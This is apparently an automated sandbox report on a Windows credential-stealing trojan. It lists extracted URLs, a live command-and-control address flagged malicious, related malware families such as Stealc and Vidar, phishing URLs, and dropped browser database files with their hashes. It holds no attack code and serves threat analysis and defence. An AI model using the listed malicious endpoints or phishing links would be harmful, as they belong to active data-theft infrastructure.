http://anglebug.com/7556	chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206GCB	file.exe, 00000000.00000002.2050877383.0000000000CAC000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/:l	chrome.exe, 00000001.00000003.1821407797.000005F401514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1821490303.000005F401524000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1821376950.000005F40150C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-preprod.corp.google.com/	chrome.exe, 00000001.00000003.1780691309.000005F4004AC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/:m	chrome.exe, 00000001.00000003.1821407797.000005F401514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1821490303.000005F401524000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1821376950.000005F40150C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000001.00000003.1818654997.000005F401438000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6692	chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://issuetracker.google.com/258207403	chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3502	chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3623	chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3625	chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3624	chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/presentation/J	chrome.exe, 00000001.00000003.1780967781.000005F400698000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5007	chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.google.com/drive/installwebapp?usp=chrome_default	chrome.exe, 00000001.00000003.1780967781.000005F400698000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3862	chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.rs/getrandom#nodejs-es-module-support	file.exe, file.exe, 00000000.00000002.2070272635.000000006C841000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2050877383.0000000000CAC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1677872732.0000000004DBB000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr	false	URL Reputation: safe	unknown
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 00000001.00000003.1796472921.000005F400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1789018731.000005F400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1877828106.000005F400CE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1791007442.000005F400CB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1796877421.000005F400CB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1789383533.000005F400CA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1788465884.000005F400CB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1796441390.000005F40033C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4836	chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://issuetracker.google.com/issues/166475273	chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.ico	chrome.exe, 00000001.00000003.1795304844.000005F400BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1818413707.000005F400BE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1789095701.000005F400BE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1873649857.000005F400BE4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29	chrome.exe, 00000001.00000003.1818654997.000005F401438000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/presentation/:	chrome.exe, 00000001.00000003.1780967781.000005F400698000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/hjPv	chrome.exe, 00000001.00000003.1777973526.0000765000684000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4384	chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mail.google.com/mail/?tab=rm&ogbl	chrome.exe, 00000001.00000003.1811129207.000005F4012EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1811422106.000005F4013B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1811299711.000005F4013A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1818140179.000005F4013D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1811367973.000005F4013A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1816077078.000005F401308000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1815846630.000005F4012EC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpKKKJJJKJKFHJJJJEC	file.exe, 00000000.00000002.2050496784.00000000007A6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Visual	file.exe, 00000000.00000002.2050877383.0000000000D66000.00000040.00000001.01000000.00000003.sdmp	false		unknown
http://anglebug.com/3970	chrome.exe, 00000001.00000003.1787607469.000005F400380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787630596.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1787275544.000005F400380000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://apis.google.com	chrome.exe, 00000001.00000003.1815846630.000005F4012EC000.00000004.00000800.00020000.00000000.sdmp, chromecache_75.3.dr, chromecache_79.3.dr	false	URL Reputation: safe	unknown
http://polymer.github.io/CONTRIBUTORS.txt	chrome.exe, 00000001.00000003.1794845256.000005F4009D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1794964140.000005F400F50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1795370929.000005F40040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1793761619.000005F40105C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1796530213.000005F401160000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1796147207.000005F401094000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1793592406.000005F40100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1793880228.000005F400EFC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1794073246.000005F401028000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1794638469.000005F400A3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1794602203.000005F400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1793454964.000005F400EEC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/#l	chrome.exe, 00000001.00000003.1821407797.000005F401514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1821490303.000005F401524000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1821376950.000005F40150C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/en	chrome.exe, 00000001.00000003.1821407797.000005F401514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1821490303.000005F401524000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1821376950.000005F40150C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://labs.google.com/search?source=ntp	chrome.exe, 00000001.00000003.1811129207.000005F4012EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1811422106.000005F4013B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1811299711.000005F4013A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1818140179.000005F4013D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1811367973.000005F4013A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1816077078.000005F401308000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1815846630.000005F4012EC000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.184.206	plus.l.google.com	United States	15169	GOOGLEUS	false
172.217.16.196	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545848
Start date and time:	2024-10-31 07:13:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@17/37@6/6
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.206.67, 74.125.206.84, 142.250.185.238, 34.104.35.123, 142.250.185.163, 142.250.184.202, 142.250.181.234, 142.250.74.202, 172.217.23.106, 142.250.186.170, 172.217.18.10, 142.250.185.234, 142.250.186.106, 216.58.206.42, 172.217.18.106, 142.250.186.74, 216.58.206.74, 142.250.184.234, 142.250.186.42, 172.217.16.202, 142.250.186.138, 199.232.210.172, 192.229.221.95
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, clients.l.google.com, www.gstatic.com
Execution Graph export aborted for target file.exe, PID 7472 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:14:31	API Interceptor	29x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake Stealer	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	Ky4J8k89A7.exe	Get hash	malicious	Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	fileDoc_Commission Dept Ec.docx	Get hash	malicious	Unknown	Browse
	https://webdemo.biz/	Get hash	malicious	NetSupport RAT, CAPTCHA Scam	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	http://hprus.conegutsud.com.pe/4zgrHK17910PyfC1508dysnmxbczx27005OLWUIBMTRFCEVBH25578NWDJ17331m12#2mzdvgfkgua042eh8kky7aanhr5dggelvb8fjk5yz6jna8o8e5	Get hash	malicious	Phisher	Browse
	Paiement.eml	Get hash	malicious	HTMLPhisher	Browse
185.215.113.206	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake Stealer	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, WhiteSnake Stealer	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206/6c4adf523b719729.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
play.google.com	file.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.184.206
	Ky4J8k89A7.exe	Get hash	malicious	Stealc, Vidar, Xmrig	Browse	142.250.185.174
	file.exe	Get hash	malicious	Stealc	Browse	142.250.186.174
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.185.110
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.185.174
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.184.206
	https://irs-ci.secureemailportal.com/s/e?m=ABDvX2xiE1DvdsTP333wt4Qp&c=ABDsD05ZNJ23bCjfjm6gXjJS&em=publicrecords%40marionfl.org	Get hash	malicious	Unknown	Browse	142.250.185.78
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.186.174
	https://www.guidedtrack.com/programs/n5snx1a/run	Get hash	malicious	Unknown	Browse	142.250.186.142
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse	172.217.18.14

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake Stealer	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, WhiteSnake Stealer	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	bszYGSIHuU.exe	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake Stealer	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	Ky4J8k89A7.exe	Get hash	malicious	Stealc, Vidar, Xmrig	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	Stealc	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	Xmrig	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	fileDoc_Commission Dept Ec.docx	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	http://hprus.conegutsud.com.pe/4zgrHK17910PyfC1508dysnmxbczx27005OLWUIBMTRFCEVBH25578NWDJ17331m12#2mzdvgfkgua042eh8kky7aanhr5dggelvb8fjk5yz6jna8o8e5	Get hash	malicious	Phisher	Browse	184.28.90.27 13.107.246.45 20.12.23.50

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake Stealer	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	Ky4J8k89A7.exe	Get hash	malicious	Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\chrome.dll	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake Stealer	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	Ky4J8k89A7.exe	Get hash	malicious	Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	b4s45TboUL.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BAKEBFBAKKFCBGDHDGHDBAFIIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAECAECFCAAEBFHIEHDG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DHDHJJJECFIECBGDGCAAAEHIEG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECAFHDBG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IECFIEGDBKJKFIDHIECG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\IJEHCGIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKJKKKJJJKJKFHJJJJEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
